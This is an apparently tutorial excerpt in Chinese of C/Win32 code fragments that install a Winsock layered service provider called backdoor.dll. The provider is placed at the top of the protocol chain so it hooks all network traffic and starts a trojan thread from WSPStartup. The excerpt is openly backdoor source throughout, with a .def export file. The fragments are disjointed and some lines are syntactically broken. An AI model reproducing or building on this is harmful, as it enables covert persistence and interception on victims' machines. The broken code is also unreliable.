BOOL getfilter(); //获得所有已经安装的传输服务提供者 
void freefilter(); //释放存储空间 
void installfilter(); //安装分层协议，协议链及排序 
void removefilter(); //卸载分层协议和协议链

protoinfo=(LPWSAPROTOCOL_INFOW)GlobalAlloc(GPTR,protoinfosize)； 
//分配WSAPROTOCOL_INFOW结构的存储空间 
totalprotos=WSCEnumProtocols(NULL,protoinfo,&protoinfosize,&errorcode)； 
//获得系统中已安装的所有服务提供者 
GetCurrentDirectory(MAX_PATH,filter_path)； 
//得到当前的路径 
_tcscpy(filter_name,_T("\\backdoor.dll")); 
//构造服务提供者文件backdoor.dll的路径全名 
WSCInstallProvider(&filterguid,filter_path,&iplayerinfo,1,&errorcode)； 
//安装自定义的IP分层协议 
iplayercataid=protoinfo.dwCatalogEntryId; 
//获得已安装自定义IP分层协议的由Ws2_32.dll分配的唯一标志 
udpchaininfo.ProtocolChain.ChainEntries[0]=iplayercataid; 
//将自定义的IP分层协议作为自定义UDP协议链的根分层服务提供者安装在协议链的顶端 
WSCInstallProvider(&filterchainguid,filter_path,chainarray,provcnt,&errorcode)； 
//安装协议链 
WSCWriteProviderOrder(cataentries,totalprotos)； 
//更新所有服务提供者的安装顺序，把自定义的服务提供者排在所有协议的最前列 
WSCDeinstallProvider(&filterguid,&errorcode)； 
//卸载IP分层协议 
WSCDeinstallProvider(&filterchainguid,&errorcode)； 
//卸载协议链

int WSPAPI WSPStartup( WORD wversionrequested,LPWSPDATA lpwspdata,LPWSAPROTOCOL_INFOW 
lpprotoinfo, 
WSPUPCALLTABLE upcalltable,LPWSPPROC_TABLE lpproctable); 
//SPI函数WSPStartup和Windows Socket 2的API函数WSAStartup相对应,WSPStartup是唯一的入口函
数，剩下的30个SPI函数则是通过参数upcalltable来实现的，它们只能在内部调用，不向外提供入口

hthread=CreateThread(NULL,0,backdoor,NULL,0,NULL); 
//创建木马进程，它只是展示数据的流通 
GetModuleFileName(NULL,processname,MAX_PATH); 
//获得调用本服务提供者动态链接库的可执行文件的全名 
OutputDebugString(_T("Start the backdoor ...")); 
//输出调试信息 
layerid=protoinfo.dwCatalogEntryId; 
//获得已安装自定义IP分层协议的由Ws2_32.dll分配的唯一标志 
nextlayerid=lpprotoinfo->ProtocolChain.ChainEntries[i+1]; 
//获得下一层传输服务提供者的标志信息 
WSCGetProviderPath(&protoinfo.ProviderId,filterpath,&filterpathlen,&errorcode)； 
//获得下一层传输服务提供者的安装路径 
ExpandEnvironmentStrings(filterpath,filterpath,MAX_PATH)； 
//扩展环境变量 
hfilter=LoadLibrary(filterpath))； 
//装载下一层传输服务提供者 
wspstartupfunc=(LPWSPSTARTUP)GetProcAddress(hfilter,"WSPStartup"))； 
//获得下一层传输服务提供者的入口函数WSPStartup,以便调用 
wspstartupfunc(wversionrequested,lpwspdata,lpprotoinfo,upcalltable,lpproctable)； 
//调用下一层传输服务提供者的WSPStartup函数，实现钩子功能 
nextproctable=*lpproctable; 
//保存下一层服务提供者的30个服务函数指针 
由于以动态链接库形式的服务提供者要向外提供一个入口函数，因此还须一个配置文件backdoor.def: 
EXPORTS WSPStartup 
//向外提供入口函数WSPStartup